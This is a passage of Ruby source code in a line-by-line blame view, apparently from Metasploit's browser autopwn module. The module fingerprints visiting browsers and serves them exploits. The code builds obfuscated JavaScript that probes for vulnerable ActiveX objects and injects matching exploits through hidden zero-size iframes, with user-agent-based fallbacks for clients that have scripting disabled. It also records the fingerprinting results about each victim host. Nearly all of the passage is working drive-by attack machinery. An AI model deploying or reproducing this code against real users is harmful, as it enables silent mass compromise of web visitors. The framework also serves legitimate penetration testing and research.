|
|
|
else
|
|
|
|
print_status("Responding with exploits")
|
|
|
|
response = build_script_response(cli, request)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
cli.send_response(response)
|
|
|
|
when %r{^#{self.get_resource}.*ns=1}
|
|
|
|
# This is the request for the exploit page when javascript is NOT
|
|
|
|
# enabled. Since scripting is disabled, fall back to useragent
|
|
|
|
# detection, which is kind of a bummer since it's so easy for the
|
|
|
|
# ua string to lie. It probably doesn't matter that much because
|
|
|
|
# most of our exploits require javascript anyway.
|
|
|
|
print_status("Browser has javascript disabled, trying exploits that don't need it")
|
|
|
|
record_detection(cli, request)
|
2010-03-24 16:28:04 +00:00
|
|
|
if (action.name == "DefangedDetection")
|
|
|
|
response = create_response()
|
|
|
|
response.body = "Please wait"
|
|
|
|
else
|
|
|
|
print_status("Responding with non-javascript exploits")
|
|
|
|
response = build_noscript_response(cli, request)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-03-24 16:28:04 +00:00
|
|
|
response["Expires"] = "0"
|
|
|
|
response["Cache-Control"] = "must-revalidate"
|
2009-07-22 20:14:35 +00:00
|
|
|
cli.send_response(response)
|
|
|
|
else
|
2009-07-28 11:29:14 +00:00
|
|
|
print_status("404ing #{request.uri}")
|
2009-07-22 20:14:35 +00:00
|
|
|
send_not_found(cli)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2010-07-11 23:53:47 +00:00
|
|
|
def build_noscript_html(cli, request)
|
2009-12-29 23:48:45 +00:00
|
|
|
client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
|
2010-07-11 23:53:47 +00:00
|
|
|
body = ""
|
2009-07-22 20:14:35 +00:00
|
|
|
|
|
|
|
@noscript_tests.each { |browser, sploits|
|
|
|
|
next if sploits.length == 0
|
2010-07-11 23:53:47 +00:00
|
|
|
|
|
|
|
# If client_info is nil then get_client failed and we have no
|
|
|
|
# knowledge of this client, so we can't assume anything about their
|
|
|
|
# browser. If the exploit does not specify a browser target, that
|
|
|
|
# means it it is generic and will work anywhere (or at least be
|
|
|
|
# able to autodetect). If the currently connected client's ua_name
|
|
|
|
# is nil, then the fingerprinting didn't work for some reason.
|
|
|
|
# Lastly, check to see if the client's browser matches the browser
|
|
|
|
# targetted by this group of exploits. In all of these cases, we
|
|
|
|
# need to send all the exploits in the list.
|
|
|
|
if not(client_info && browser && [nil, browser].include?(client_info[:ua_name]))
|
2009-07-22 20:14:35 +00:00
|
|
|
if (HttpClients::IE == browser)
|
2010-07-11 23:53:47 +00:00
|
|
|
body << "<!--[if IE]>\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
sploits.map do |s|
|
2011-05-16 04:21:58 +00:00
|
|
|
|
2010-07-11 23:53:47 +00:00
|
|
|
body << (s[:prefix_html] || "") + "\n"
|
|
|
|
body << build_iframe(exploit_resource(s[:name])) + "\n"
|
|
|
|
body << (s[:postfix_html] || "") + "\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
if (HttpClients::IE == browser)
|
2010-07-11 23:53:47 +00:00
|
|
|
body << "<![endif]-->\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
2010-07-11 23:53:47 +00:00
|
|
|
body
|
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|
2010-07-11 23:53:47 +00:00
|
|
|
def build_noscript_response(cli, request)
|
|
|
|
|
|
|
|
response = create_response()
|
|
|
|
response['Expires'] = '0'
|
|
|
|
response['Cache-Control'] = 'must-revalidate'
|
|
|
|
|
|
|
|
response.body = "<html > <head > <title > Loading </title> </head> "
|
|
|
|
response.body << "<body> "
|
2009-12-16 00:13:57 +00:00
|
|
|
response.body << "Please wait "
|
2010-08-18 23:20:16 +00:00
|
|
|
response.body << build_noscript_html(cli, request)
|
2009-07-22 20:14:35 +00:00
|
|
|
response.body << "</body> </html> "
|
|
|
|
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_script_response(cli, request)
|
|
|
|
response = create_response()
|
|
|
|
response['Expires'] = '0'
|
|
|
|
response['Cache-Control'] = 'must-revalidate'
|
|
|
|
|
2010-03-04 07:59:55 +00:00
|
|
|
host_info = get_host(:host => cli.peerhost)
|
2010-03-04 07:37:58 +00:00
|
|
|
client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
|
2009-07-23 08:43:54 +00:00
|
|
|
#print_status("Client info: #{client_info.inspect}")
|
2009-07-22 20:14:35 +00:00
|
|
|
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new
|
2009-08-06 05:56:24 +00:00
|
|
|
# If we didn't get a client from the database, then the detection
|
|
|
|
# is borked or the db is not connected, so fallback to sending
|
|
|
|
# some IE-specific stuff with everything. Do the same if the
|
|
|
|
# exploit didn't specify a client. Otherwise, make sure this is
|
|
|
|
# IE before sending code for ActiveX checks.
|
2009-07-23 08:43:54 +00:00
|
|
|
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
|
2009-07-22 20:14:35 +00:00
|
|
|
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
|
|
|
|
# use the simple and direct "new ActiveXObject()". If we
|
2009-08-06 05:56:24 +00:00
|
|
|
# have a classid instead, first try creating the object
|
2009-07-22 20:14:35 +00:00
|
|
|
# with createElement("object"). However, some things
|
|
|
|
# don't like being created this way (specifically winzip),
|
|
|
|
# so try writing out an object tag as well. One of these
|
|
|
|
# two methods should succeed if the object with the given
|
|
|
|
# classid can be created.
|
|
|
|
js << <<-ENDJS
|
|
|
|
function testAXO(axo_name, method) {
|
|
|
|
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
|
|
|
axobj = document.createElement("object");
|
|
|
|
axobj.setAttribute("classid", "clsid:" + axo_name);
|
|
|
|
axobj.setAttribute("id", axo_name);
|
|
|
|
axobj.setAttribute("style", "visibility: hidden");
|
|
|
|
axobj.setAttribute("width", "0px");
|
|
|
|
axobj.setAttribute("height", "0px");
|
|
|
|
document.body.appendChild(axobj);
|
|
|
|
if (typeof(axobj[method]) == 'undefined') {
|
|
|
|
var attributes = 'id="' + axo_name + '"';
|
|
|
|
attributes += ' classid="clsid:' + axo_name + '"';
|
|
|
|
attributes += ' style="visibility: hidden"';
|
|
|
|
attributes += ' width="0px" height="0px"';
|
|
|
|
document.body.innerHTML += "<object " + attributes + "></object>";
|
|
|
|
axobj = document.getElementById(axo_name);
|
2009-07-19 20:48:47 +00:00
|
|
|
}
|
2009-07-22 20:14:35 +00:00
|
|
|
} else {
|
|
|
|
try {
|
|
|
|
axobj = new ActiveXObject(axo_name);
|
|
|
|
} catch(e) {
|
|
|
|
axobj = '';
|
|
|
|
};
|
|
|
|
}
|
|
|
|
#{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "<br/>"')}
|
|
|
|
if (typeof(axobj[method]) != 'undefined') {
|
|
|
|
return true;
|
2009-07-19 17:27:36 +00:00
|
|
|
}
|
2009-07-22 20:14:35 +00:00
|
|
|
return false;
|
2008-07-22 07:28:05 +00:00
|
|
|
}
|
2009-07-22 20:14:35 +00:00
|
|
|
ENDJS
|
|
|
|
# End of IE-specific test functions
|
|
|
|
end
|
2009-08-06 05:56:24 +00:00
|
|
|
# Generic stuff that is needed regardless of what browser was detected.
|
2009-07-22 20:14:35 +00:00
|
|
|
js << <<-ENDJS
|
|
|
|
var written_iframes = new Array();
|
|
|
|
function write_iframe(myframe) {
|
|
|
|
var iframe_idx; var mybody;
|
|
|
|
for (iframe_idx in written_iframes) {
|
|
|
|
if (written_iframes[iframe_idx] == myframe) {
|
|
|
|
return;
|
|
|
|
}
|
2009-07-19 20:48:47 +00:00
|
|
|
}
|
2009-07-22 20:14:35 +00:00
|
|
|
written_iframes[written_iframes.length] = myframe;
|
|
|
|
str = '';
|
|
|
|
str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
|
2009-12-16 00:13:57 +00:00
|
|
|
#{datastore['DEBUG'] ? "str += '<p>' + myframe + '</p>'" : ""};
|
2009-07-22 20:14:35 +00:00
|
|
|
document.body.innerHTML += (str);
|
|
|
|
}
|
2009-12-16 00:13:57 +00:00
|
|
|
var global_exploit_list = [];
|
|
|
|
function next_exploit(exploit_idx) {
|
|
|
|
if (!global_exploit_list[exploit_idx]) {
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
// Wrap all of the vuln tests in a try-catch block so a
|
|
|
|
// single borked test doesn't prevent other exploits
|
|
|
|
// from working.
|
|
|
|
try {
|
|
|
|
var test = global_exploit_list[exploit_idx].test;
|
|
|
|
if (!test) {
|
|
|
|
test = "true";
|
|
|
|
} else {
|
|
|
|
test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln";
|
|
|
|
}
|
2011-05-16 04:21:58 +00:00
|
|
|
|
|
|
|
/*
|
|
|
|
alert("next_exploit(" + (exploit_idx).toString() + ") => " +
|
|
|
|
global_exploit_list[exploit_idx].resource + "\\n" +
|
|
|
|
test + " -- " + eval(test) );
|
|
|
|
*/
|
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
if (eval(test)) {
|
|
|
|
write_iframe(global_exploit_list[exploit_idx].resource);
|
|
|
|
setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000);
|
|
|
|
} else {
|
|
|
|
#{js_debug("'this client does not appear to be vulnerable to ' + global_exploit_list[exploit_idx].resource + '<br>'")}
|
|
|
|
next_exploit(exploit_idx+1);
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
} catch(e) {
|
2009-12-16 00:13:57 +00:00
|
|
|
next_exploit(exploit_idx+1);
|
|
|
|
};
|
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
ENDJS
|
|
|
|
opts = {
|
|
|
|
'Symbols' => {
|
2009-07-22 20:14:35 +00:00
|
|
|
'Variables' => [
|
|
|
|
'written_iframes',
|
|
|
|
'myframe',
|
|
|
|
'mybody',
|
|
|
|
'iframe_idx',
|
|
|
|
'is_vuln',
|
2009-12-16 00:13:57 +00:00
|
|
|
'global_exploit_list',
|
|
|
|
'exploit_idx',
|
2008-07-22 07:28:05 +00:00
|
|
|
],
|
|
|
|
'Methods' => [
|
2009-07-22 20:14:35 +00:00
|
|
|
'write_iframe',
|
2009-12-16 00:13:57 +00:00
|
|
|
'next_exploit',
|
2008-07-22 07:28:05 +00:00
|
|
|
]
|
2009-07-22 20:14:35 +00:00
|
|
|
},
|
|
|
|
'Strings' => true,
|
2008-07-01 01:44:56 +00:00
|
|
|
}
|
2008-07-22 07:28:05 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
@js_tests.each { |browser, sploits|
|
|
|
|
next if sploits.length == 0
|
2009-07-23 08:43:54 +00:00
|
|
|
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
|
|
|
|
# Make sure the browser names can be used as an identifier in
|
|
|
|
# case something wacky happens to them.
|
|
|
|
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
|
|
|
|
js << "function #{func_name}() { \n"
|
2009-07-22 20:14:35 +00:00
|
|
|
sploits.map do |s|
|
2011-05-16 14:45:37 +00:00
|
|
|
|
2009-12-16 00:13:57 +00:00
|
|
|
# get rid of newlines and escape quotes
|
|
|
|
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
|
|
|
|
# shouldn't be any in the resource, but just in case...
|
|
|
|
res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
|
|
|
|
|
2009-08-06 05:56:24 +00:00
|
|
|
# Skip exploits that don't match the client's OS.
|
2009-07-23 08:43:54 +00:00
|
|
|
if (host_info and host_info[:os_name] and s[:os_name])
|
|
|
|
next unless s[:os_name].include?(host_info[:os_name])
|
|
|
|
end
|
2009-12-16 00:13:57 +00:00
|
|
|
js << " global_exploit_list[global_exploit_list.length] = {\n"
|
|
|
|
if test and not test.empty?
|
|
|
|
js << " 'test':'#{test}',\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
else
|
2009-12-16 00:13:57 +00:00
|
|
|
js << " 'test':'is_vuln = true;',\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
2009-12-16 00:13:57 +00:00
|
|
|
js << " 'resource':'#{res}'\n"
|
|
|
|
js << " };\n"
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
|
|
|
js << "};\n" # end function exploit...()
|
2009-12-16 00:13:57 +00:00
|
|
|
js << "#{js_debug("'exploit func: #{func_name}()<br>'")}\n"
|
2009-07-23 08:43:54 +00:00
|
|
|
js << "#{func_name}();\n" # run that bad boy
|
|
|
|
opts['Symbols']['Methods'].push("#{func_name}")
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
2008-09-01 05:19:28 +00:00
|
|
|
}
|
2010-12-15 23:02:04 +00:00
|
|
|
js << %q|var noscript_exploits = "|
|
2010-07-11 23:53:47 +00:00
|
|
|
js << Rex::Text.to_hex(build_noscript_html(cli, request), "%")
|
2010-12-15 23:02:04 +00:00
|
|
|
js << %q|";|
|
|
|
|
js << %q|noscript_div = document.createElement("div");|
|
|
|
|
js << %q|noscript_div.innerHTML = unescape(noscript_exploits);|
|
|
|
|
js << %q|document.body.appendChild(noscript_div);|
|
2010-07-12 00:45:37 +00:00
|
|
|
|
2010-12-15 23:02:04 +00:00
|
|
|
#js << %q|document.write("<div>" + noscript_exploits);|
|
2010-07-12 00:45:37 +00:00
|
|
|
opts['Symbols']['Methods'].push("noscript_exploits")
|
|
|
|
opts['Symbols']['Methods'].push("noscript_div")
|
2009-12-16 00:13:57 +00:00
|
|
|
js << "#{js_debug("'starting exploits<br>'")}\n"
|
|
|
|
js << "next_exploit(0);\n"
|
2009-07-19 20:48:47 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
if not datastore['DEBUG']
|
|
|
|
js.obfuscate
|
|
|
|
end
|
|
|
|
response.body = "#{js}"
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
return response
|
|
|
|
end
|
|
|
|
|
2008-07-23 08:26:42 +00:00
|
|
|
# consider abstracting this out to a method (probably
|
2010-10-09 06:55:52 +00:00
|
|
|
# with a different name) of Msf::Auxiliary::Report or
|
|
|
|
# Msf::Exploit::Remote::HttpServer
|
2008-07-22 07:28:05 +00:00
|
|
|
def record_detection(cli, request)
|
|
|
|
os_name = nil
|
|
|
|
os_flavor = nil
|
|
|
|
os_sp = nil
|
|
|
|
os_lang = nil
|
|
|
|
arch = nil
|
|
|
|
ua_name = nil
|
2009-07-22 20:14:35 +00:00
|
|
|
ua_ver = nil
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
data_offset = request.uri.index('sessid=')
|
2009-07-23 09:58:13 +00:00
|
|
|
#p request['User-Agent']
|
2010-04-30 08:40:19 +00:00
|
|
|
if (data_offset.nil? or -1 == data_offset)
|
2008-07-22 07:28:05 +00:00
|
|
|
# then we didn't get a report back from our javascript
|
2010-04-30 08:40:19 +00:00
|
|
|
# detection; make a best guess effort from information
|
2008-07-22 07:28:05 +00:00
|
|
|
# in the user agent string. The OS detection should be
|
2009-07-22 20:14:35 +00:00
|
|
|
# roughly the same as the javascript version on non-IE
|
|
|
|
# browsers because it does most everything with
|
|
|
|
# navigator.userAgent
|
2009-07-28 11:29:14 +00:00
|
|
|
print_status("Recording detection from User-Agent: #{request['User-Agent']}")
|
2009-07-22 20:14:35 +00:00
|
|
|
report_user_agent(cli.peerhost, request)
|
2010-03-24 16:28:04 +00:00
|
|
|
else
|
2008-07-22 07:28:05 +00:00
|
|
|
data_offset += 'sessid='.length
|
|
|
|
detected_version = request.uri[data_offset, request.uri.length]
|
|
|
|
if (0 < detected_version.length)
|
|
|
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
2009-07-22 20:14:35 +00:00
|
|
|
print_status("JavaScript Report: #{detected_version}")
|
|
|
|
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
2010-01-23 00:17:59 +00:00
|
|
|
|
2010-03-24 16:28:04 +00:00
|
|
|
if framework.db.active
|
2011-04-07 21:59:32 +00:00
|
|
|
note_data = { }
|
|
|
|
note_data[:os_name] = os_name if os_name != "undefined"
|
|
|
|
note_data[:os_flavor] = os_flavor if os_flavor != "undefined"
|
|
|
|
note_data[:os_sp] = os_sp if os_sp != "undefined"
|
|
|
|
note_data[:os_lang] = os_lang if os_lang != "undefined"
|
|
|
|
note_data[:arch] = arch if arch != "undefined"
|
|
|
|
print_status("Reporting: #{note_data.inspect}")
|
|
|
|
|
|
|
|
report_note({
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:type => 'javascript_fingerprint',
|
|
|
|
:data => note_data,
|
|
|
|
:update => :unique_data,
|
|
|
|
})
|
2010-03-24 16:28:04 +00:00
|
|
|
client_info = ({
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:ua_string => request['User-Agent'],
|
|
|
|
:ua_name => ua_name,
|
|
|
|
:ua_ver => ua_ver
|
|
|
|
})
|
|
|
|
report_client(client_info)
|
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2010-03-04 07:37:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Always populate the target cache since querying the database is too
|
|
|
|
# slow for real-time.
|
|
|
|
key = cli.peerhost + request['User-Agent']
|
|
|
|
@targetcache ||= {}
|
|
|
|
@targetcache[key] ||= {}
|
|
|
|
@targetcache[key][:updated_at] = Time.now.to_i
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
# Clean the cache
|
2010-03-04 07:37:58 +00:00
|
|
|
rmq = []
|
|
|
|
@targetcache.each_key do |addr|
|
|
|
|
if (Time.now.to_i > @targetcache[addr][:updated_at]+60)
|
|
|
|
rmq.push addr
|
2009-07-22 20:14:35 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2010-03-04 07:37:58 +00:00
|
|
|
rmq.each {|addr| @targetcache.delete(addr) }
|
|
|
|
|
|
|
|
# Keep the attributes the same as if it were created in
|
|
|
|
# the database.
|
|
|
|
@targetcache[key][:updated_at] = Time.now.to_i
|
|
|
|
@targetcache[key][:ua_string] = request['User-Agent']
|
|
|
|
@targetcache[key][:ua_name] = ua_name
|
|
|
|
@targetcache[key][:ua_ver] = ua_ver
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2010-03-04 07:37:58 +00:00
|
|
|
# Override super#get_client to use a cache since the database is generally
|
|
|
|
# too slow to be useful for realtime tasks. This essentially creates an
|
|
|
|
# in-memory database. The upside is that it works if the database is
|
|
|
|
# broken (which seems to be all the time now).
|
2009-12-29 23:48:45 +00:00
|
|
|
def get_client(opts)
|
|
|
|
host = opts[:host]
|
2010-03-04 07:37:58 +00:00
|
|
|
return @targetcache[opts[:host]+opts[:ua_string]]
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def build_iframe(resource)
|
2008-07-23 08:26:42 +00:00
|
|
|
ret = ''
|
2009-08-06 05:56:24 +00:00
|
|
|
if (action.name == 'DefangedDetection')
|
|
|
|
ret << "<p>iframe #{resource}</p>"
|
|
|
|
else
|
2010-12-15 23:02:04 +00:00
|
|
|
ret << %Q|<iframe src="#{resource}" style="visibility:hidden" height="0" width="0" border="0"></iframe>|
|
|
|
|
#ret << %Q|<iframe src="#{resource}" ></iframe>|
|
2009-08-06 05:56:24 +00:00
|
|
|
end
|
2008-07-23 08:26:42 +00:00
|
|
|
return ret
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-11-25 08:51:17 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
def exploit_resource(name)
|
|
|
|
if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
|
2010-07-09 23:57:54 +00:00
|
|
|
#print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}")
|
2009-07-22 20:14:35 +00:00
|
|
|
return @exploits[name].get_resource
|
2008-11-25 08:51:17 +00:00
|
|
|
else
|
2009-07-22 20:14:35 +00:00
|
|
|
print_error("Don't have an exploit by that name, returning 404#{name}.html")
|
|
|
|
return "404#{name}.html"
|
2008-11-25 08:51:17 +00:00
|
|
|
end
|
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|
|
|
|
def js_debug(msg)
|
|
|
|
if datastore['DEBUG']
|
|
|
|
return "document.body.innerHTML += #{msg};"
|
|
|
|
end
|
|
|
|
return ""
|
|
|
|
end
|
2010-03-04 07:37:58 +00:00
|
|
|
|
2010-08-30 22:17:26 +00:00
|
|
|
def cleanup
|
|
|
|
print_status("Cleaning up exploits...")
|
|
|
|
@exploits.each_pair do |name, mod|
|
|
|
|
framework.jobs[mod.job_id.to_s].stop if framework.jobs[mod.job_id.to_s]
|
|
|
|
end
|
|
|
|
@handler_job_ids.each do |id|
|
|
|
|
framework.jobs[id.to_s].stop if framework.jobs[id.to_s]
|
|
|
|
end
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
2008-11-17 07:53:44 +00:00
|
|
|
end
|
2009-07-22 20:14:35 +00:00
|
|
|
|